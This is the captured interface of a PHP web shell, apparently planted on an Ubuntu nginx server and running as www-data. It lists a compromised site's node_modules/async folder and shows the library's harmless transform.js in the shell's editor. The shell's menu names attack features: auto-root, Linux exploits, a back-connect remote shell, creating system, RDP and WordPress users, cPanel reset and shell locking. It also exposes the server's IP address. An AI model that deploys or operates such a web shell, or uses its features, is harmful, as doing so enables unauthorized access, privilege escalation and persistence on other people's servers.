Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
async /
[ HOME SHELL ]
Name
Size
Permission
Action
dist
[ DIR ]
dr-xr-xr-x
internal
[ DIR ]
dr-xr-xr-x
CHANGELOG.md
32.7
KB
-rw-rw-rw-
LICENSE
1.04
KB
-rw-rw-rw-
README.md
3.14
KB
-rw-rw-rw-
all.js
3.48
KB
-rw-rw-rw-
allLimit.js
1.71
KB
-rw-rw-rw-
allSeries.js
1.61
KB
-rw-rw-rw-
any.js
3.71
KB
-rw-rw-rw-
anyLimit.js
1.74
KB
-rw-rw-rw-
anySeries.js
1.64
KB
-rw-rw-rw-
apply.js
217
B
-rw-rw-rw-
applyEach.js
1.94
KB
-rw-rw-rw-
applyEachSeries.js
1.27
KB
-rw-rw-rw-
asyncify.js
3.67
KB
-rw-rw-rw-
auto.js
11.58
KB
-rw-rw-rw-
autoInject.js
6.93
KB
-rw-rw-rw-
bower.json
239
B
-rw-rw-rw-
cargo.js
2.68
KB
-rw-rw-rw-
cargoQueue.js
3.27
KB
-rw-rw-rw-
compose.js
1.53
KB
-rw-rw-rw-
concat.js
3.57
KB
-rw-rw-rw-
concatLimit.js
2.04
KB
-rw-rw-rw-
concatSeries.js
1.44
KB
-rw-rw-rw-
constant.js
302
B
-rw-rw-rw-
detect.js
3.17
KB
-rw-rw-rw-
detectLimit.js
1.79
KB
-rw-rw-rw-
detectSeries.js
1.7
KB
-rw-rw-rw-
dir.js
1.27
KB
-rw-rw-rw-
doDuring.js
2.25
KB
-rw-rw-rw-
doUntil.js
1.66
KB
-rw-rw-rw-
doWhilst.js
2.25
KB
-rw-rw-rw-
during.js
2.28
KB
-rw-rw-rw-
each.js
3.93
KB
-rw-rw-rw-
eachLimit.js
1.75
KB
-rw-rw-rw-
eachOf.js
5.61
KB
-rw-rw-rw-
eachOfLimit.js
1.6
KB
-rw-rw-rw-
eachOfSeries.js
1.3
KB
-rw-rw-rw-
eachSeries.js
1.54
KB
-rw-rw-rw-
ensureAsync.js
2.26
KB
-rw-rw-rw-
every.js
3.48
KB
-rw-rw-rw-
everyLimit.js
1.71
KB
-rw-rw-rw-
everySeries.js
1.61
KB
-rw-rw-rw-
filter.js
2.83
KB
-rw-rw-rw-
filterLimit.js
1.62
KB
-rw-rw-rw-
filterSeries.js
1.51
KB
-rw-rw-rw-
find.js
3.17
KB
-rw-rw-rw-
findLimit.js
1.79
KB
-rw-rw-rw-
findSeries.js
1.7
KB
-rw-rw-rw-
flatMap.js
3.57
KB
-rw-rw-rw-
flatMapLimit.js
2.04
KB
-rw-rw-rw-
flatMapSeries.js
1.44
KB
-rw-rw-rw-
foldl.js
4.76
KB
-rw-rw-rw-
foldr.js
1.47
KB
-rw-rw-rw-
forEach.js
3.93
KB
-rw-rw-rw-
forEachLimit.js
1.75
KB
-rw-rw-rw-
forEachOf.js
5.61
KB
-rw-rw-rw-
forEachOfLimit.js
1.6
KB
-rw-rw-rw-
forEachOfSeries.js
1.3
KB
-rw-rw-rw-
forEachSeries.js
1.54
KB
-rw-rw-rw-
forever.js
2.07
KB
-rw-rw-rw-
groupBy.js
3.51
KB
-rw-rw-rw-
groupByLimit.js
2.39
KB
-rw-rw-rw-
groupBySeries.js
1.3
KB
-rw-rw-rw-
index.js
19.47
KB
-rw-rw-rw-
inject.js
4.76
KB
-rw-rw-rw-
log.js
1.17
KB
-rw-rw-rw-
map.js
4.49
KB
-rw-rw-rw-
mapLimit.js
1.58
KB
-rw-rw-rw-
mapSeries.js
1.48
KB
-rw-rw-rw-
mapValues.js
4.48
KB
-rw-rw-rw-
mapValuesLimit.js
2.07
KB
-rw-rw-rw-
mapValuesSeries.js
1.35
KB
-rw-rw-rw-
memoize.js
3
KB
-rw-rw-rw-
nextTick.js
1.44
KB
-rw-rw-rw-
package.json
2.15
KB
-rw-rw-rw-
parallel.js
5.44
KB
-rw-rw-rw-
parallelLimit.js
1.48
KB
-rw-rw-rw-
priorityQueue.js
1.41
KB
-rw-rw-rw-
queue.js
626
B
-rw-rw-rw-
race.js
2.08
KB
-rw-rw-rw-
reduce.js
4.76
KB
-rw-rw-rw-
reduceRight.js
1.47
KB
-rw-rw-rw-
reflect.js
2.21
KB
-rw-rw-rw-
reflectAll.js
2.39
KB
-rw-rw-rw-
reject.js
2.61
KB
-rw-rw-rw-
rejectLimit.js
1.54
KB
-rw-rw-rw-
rejectSeries.js
1.44
KB
-rw-rw-rw-
retry.js
5.39
KB
-rw-rw-rw-
retryable.js
2.48
KB
-rw-rw-rw-
select.js
2.83
KB
-rw-rw-rw-
selectLimit.js
1.62
KB
-rw-rw-rw-
selectSeries.js
1.51
KB
-rw-rw-rw-
seq.js
2.59
KB
-rw-rw-rw-
series.js
5.69
KB
-rw-rw-rw-
setImmediate.js
1.36
KB
-rw-rw-rw-
some.js
3.71
KB
-rw-rw-rw-
someLimit.js
1.74
KB
-rw-rw-rw-
someSeries.js
1.64
KB
-rw-rw-rw-
sortBy.js
6.06
KB
-rw-rw-rw-
timeout.js
2.69
KB
-rw-rw-rw-
times.js
1.45
KB
-rw-rw-rw-
timesLimit.js
1.42
KB
-rw-rw-rw-
timesSeries.js
1.04
KB
-rw-rw-rw-
transform.js
5.43
KB
-rw-rw-rw-
tryEach.js
2.48
KB
-rw-rw-rw-
unmemoize.js
665
B
-rw-rw-rw-
until.js
2.03
KB
-rw-rw-rw-
waterfall.js
3.13
KB
-rw-rw-rw-
whilst.js
2.28
KB
-rw-rw-rw-
wrapSync.js
3.67
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : transform.js
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = transform; var _eachOf = require('./eachOf.js'); var _eachOf2 = _interopRequireDefault(_eachOf); var _once = require('./internal/once.js'); var _once2 = _interopRequireDefault(_once); var _wrapAsync = require('./internal/wrapAsync.js'); var _wrapAsync2 = _interopRequireDefault(_wrapAsync); var _promiseCallback = require('./internal/promiseCallback.js'); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /** * A relative of `reduce`. Takes an Object or Array, and iterates over each * element in parallel, each step potentially mutating an `accumulator` value. * The type of the accumulator defaults to the type of collection passed in. * * @name transform * @static * @memberOf module:Collections * @method * @category Collection * @param {Array|Iterable|AsyncIterable|Object} coll - A collection to iterate over. * @param {*} [accumulator] - The initial state of the transform. If omitted, * it will default to an empty Object or Array, depending on the type of `coll` * @param {AsyncFunction} iteratee - A function applied to each item in the * collection that potentially modifies the accumulator. * Invoked with (accumulator, item, key, callback). * @param {Function} [callback] - A callback which is called after all the * `iteratee` functions have finished. Result is the transformed accumulator. * Invoked with (err, result). * @returns {Promise} a promise, if no callback provided * @example * * // file1.txt is a file that is 1000 bytes in size * // file2.txt is a file that is 2000 bytes in size * // file3.txt is a file that is 3000 bytes in size * * // helper function that returns human-readable size format from bytes * function formatBytes(bytes, decimals = 2) { * // implementation not included for brevity * return humanReadbleFilesize; * } * * const fileList = ['file1.txt','file2.txt','file3.txt']; * * // asynchronous function that returns the file size, transformed to human-readable format * // e.g. 1024 bytes = 1KB, 1234 bytes = 1.21 KB, 1048576 bytes = 1MB, etc. * function transformFileSize(acc, value, key, callback) { * fs.stat(value, function(err, stat) { * if (err) { * return callback(err); * } * acc[key] = formatBytes(stat.size); * callback(null); * }); * } * * // Using callbacks * async.transform(fileList, transformFileSize, function(err, result) { * if(err) { * console.log(err); * } else { * console.log(result); * // [ '1000 Bytes', '1.95 KB', '2.93 KB' ] * } * }); * * // Using Promises * async.transform(fileList, transformFileSize) * .then(result => { * console.log(result); * // [ '1000 Bytes', '1.95 KB', '2.93 KB' ] * }).catch(err => { * console.log(err); * }); * * // Using async/await * (async () => { * try { * let result = await async.transform(fileList, transformFileSize); * console.log(result); * // [ '1000 Bytes', '1.95 KB', '2.93 KB' ] * } * catch (err) { * console.log(err); * } * })(); * * @example * * // file1.txt is a file that is 1000 bytes in size * // file2.txt is a file that is 2000 bytes in size * // file3.txt is a file that is 3000 bytes in size * * // helper function that returns human-readable size format from bytes * function formatBytes(bytes, decimals = 2) { * // implementation not included for brevity * return humanReadbleFilesize; * } * * const fileMap = { f1: 'file1.txt', f2: 'file2.txt', f3: 'file3.txt' }; * * // asynchronous function that returns the file size, transformed to human-readable format * // e.g. 1024 bytes = 1KB, 1234 bytes = 1.21 KB, 1048576 bytes = 1MB, etc. * function transformFileSize(acc, value, key, callback) { * fs.stat(value, function(err, stat) { * if (err) { * return callback(err); * } * acc[key] = formatBytes(stat.size); * callback(null); * }); * } * * // Using callbacks * async.transform(fileMap, transformFileSize, function(err, result) { * if(err) { * console.log(err); * } else { * console.log(result); * // { f1: '1000 Bytes', f2: '1.95 KB', f3: '2.93 KB' } * } * }); * * // Using Promises * async.transform(fileMap, transformFileSize) * .then(result => { * console.log(result); * // { f1: '1000 Bytes', f2: '1.95 KB', f3: '2.93 KB' } * }).catch(err => { * console.log(err); * }); * * // Using async/await * async () => { * try { * let result = await async.transform(fileMap, transformFileSize); * console.log(result); * // { f1: '1000 Bytes', f2: '1.95 KB', f3: '2.93 KB' } * } * catch (err) { * console.log(err); * } * } * */ function transform(coll, accumulator, iteratee, callback) { if (arguments.length <= 3 && typeof accumulator === 'function') { callback = iteratee; iteratee = accumulator; accumulator = Array.isArray(coll) ? [] : {}; } callback = (0, _once2.default)(callback || (0, _promiseCallback.promiseCallback)()); var _iteratee = (0, _wrapAsync2.default)(iteratee); (0, _eachOf2.default)(coll, (v, k, cb) => { _iteratee(accumulator, v, k, cb); }, err => callback(err, accumulator)); return callback[_promiseCallback.PROMISE_SYMBOL]; } module.exports = exports.default;
Close